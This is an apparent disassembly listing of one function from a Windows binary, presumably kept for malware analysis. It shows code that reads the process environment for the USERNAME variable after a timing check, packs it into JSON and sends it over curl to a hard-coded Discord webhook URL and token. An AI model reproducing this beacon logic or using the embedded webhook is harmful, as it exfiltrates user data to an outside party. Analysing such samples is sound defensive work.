Function at 0x140001178
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xd0
mov rax, qword [0x1400838c0]
xor rax, rsp
mov qword [rbp + 0x3f], rax
xor r15d, r15d
mov rdi, qword gs:[0x60]
mov eax, 0x7ffe0004
mov ecx, dword [rax]
mov ebx, ecx
mov eax, dword [0x7ffe0320]
imul rbx, rax
shr rbx, 0x18
mov eax, dword [0x7ffe0324]
shl eax, 8
imul eax, ecx
add rbx, rax
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
sub rbx, rax
mov rax, rbx
neg rax
cmovs rax, rbx
cmp rax, 0x32
jg 0x140001589
lea r12d, [r15 + 2]
cmp dword [rdi + 0xb8], r12d
jbe 0x140001589
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x20]
mov rbx, qword [rcx + 0x80]
test rbx, rbx
je 0x140001250
lea rdx, str.USERNAME
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
jne 0x140001250
or rax, 0xffffffffffffffff
inc rax
cmp word [rbx + rax*2], r15w
jne 0x14000123d
lea rbx, [rbx + rax*2]
add rbx, r12
jne 0x140001224
lea rdx, [0x140079adc]
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
lea rsi, [r12 + rax]
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
or r9d, 0xffffffff
mov r8, rsi
xor edx, edx
mov r14d, 0xfde9
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
mov rcx, rbx
call fcn.140065fc4
mov rdi, rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
or r9d, 0xffffffff
mov r8, rsi
xor edx, edx
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rdx, rdi
lea rcx, [rbp + 0x1f]
call fcn.14000161c
nop
lea rdx, str.https:__discord.com_api_webhooks_1276942134569599026_GGgVH1ZglWXGeeMDJ0UbktDJ8BtSRKJMZtf3ycjyRNClfLki9mF6rKe_61khRVZLv4WY
lea rcx, [rbp - 1]
call fcn.14000161c
nop
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rbp + 0x2f]
sub rax, rcx
cmp rax, 0xd
jb 0x1400015b9
lea rax, [rbp + 0x1f]
mov r14d, reloc.WS2_32.dll_ntohs
cmp qword [rbp + 0x37], r14
cmova rax, qword [rbp + 0x1f]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], reloc.WS2_32.dll_listen
lea rcx, [rbp - 0x49]
call fcn.140001b3c
nop
mov rdx, qword [rbp - 0x39]
mov rax, qword [rbp - 0x31]
sub rax, rdx
lea rcx, [rbp - 0x49]
cmp rax, r12
jb 0x140001367
lea rax, [rdx + 2]
mov qword [rbp - 0x39], rax
cmp qword [rbp - 0x31], r14
cmova rcx, qword [rbp - 0x49]
movzx eax, word [0x140079b5c]
mov word [rcx + rdx], ax
mov byte [rcx + rdx + 2], r15b
lea rax, [rbp - 0x49]
jmp 0x140001374
mov qword [rsp + 0x20], r12
mov rdx, r12
call fcn.1400018e4
xorps xmm0, xmm0
movups xmmword [rbp - 0x21], xmm0
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x21], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x11], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r14
mov byte [rax], r15b
mov r12d, 0x1000
mov rdx, qword [rbp - 0x31]
cmp rdx, r14
jbe 0x1400013dc
inc rdx
mov rcx, qword [rbp - 0x49]
mov rax, rcx
cmp rdx, r12
jb 0x1400013d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400013d7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140065fbc
mov qword [rbp - 0x39], r15
mov qword [rbp - 0x31], r14
mov byte [rbp - 0x49], r15b
mov ecx, 3
call fcn.140001f20
call fcn.140001cb0
mov rdi, rax
test rax, rax
je 0x1400014bc
lea r8, [rbp - 1]
cmp qword [rbp + 0x17], r14
cmova r8, qword [rbp - 1]
mov edx, 0x2712
mov rcx, rax
call fcn.140006350
lea r8, [rbp - 0x21]
cmp qword [rbp - 9], r14
cmova r8, qword [rbp - 0x21]
mov edx, 0x271f
mov rcx, rdi
call fcn.140006350
lea rdx, str.Content_Type:_application_json
xor ecx, ecx
call fcn.140002080
mov rsi, rax
mov r8, rax
mov edx, 0x2727
mov rcx, rdi
call fcn.140006350
mov rcx, rdi
call fcn.140001d20
test eax, eax
je 0x140001489
mov ecx, eax
call fcn.140002b00
mov rbx, rax
lea rdx, str.curl_easy_perform___failed:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000173c
mov rcx, rax
mov rdx, rbx
jmp 0x140001497
lea rdx, str.Message_sent_successfully_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000173c
lea rdx, [0x1400018ac]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call fcn.140001c80
mov rcx, rsi
call fcn.140002140
call fcn.140001ec0
nop
mov rdx, qword [rbp - 9]
cmp rdx, r14
jbe 0x1400014fb
inc rdx
mov rcx, qword [rbp - 0x21]
mov rax, rcx
cmp rdx, r12
jb 0x1400014f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400014f6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140065fbc
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r14
mov byte [rbp - 0x21], r15b
mov rdx, qword [rbp + 0x17]
cmp rdx, r14
jbe 0x140001540
inc rdx
mov rcx, qword [rbp - 1]
mov rax, rcx
cmp rdx, r12
jb 0x14000153b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000153b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140065fbc
mov qword [rbp + 0xf], r15
mov qword [rbp + 0x17], r14
mov byte [rbp - 1], r15b
mov rdx, qword [rbp + 0x37]
cmp rdx, r14
jbe 0x140001585
inc rdx
mov rcx, qword [rbp + 0x1f]
mov rax, rcx
cmp rdx, r12
jb 0x140001580
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001580
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140065fbc
xor eax, eax
jmp 0x14000158c
or eax, 0xffffffff
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.140065f60
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140001164
nop
int3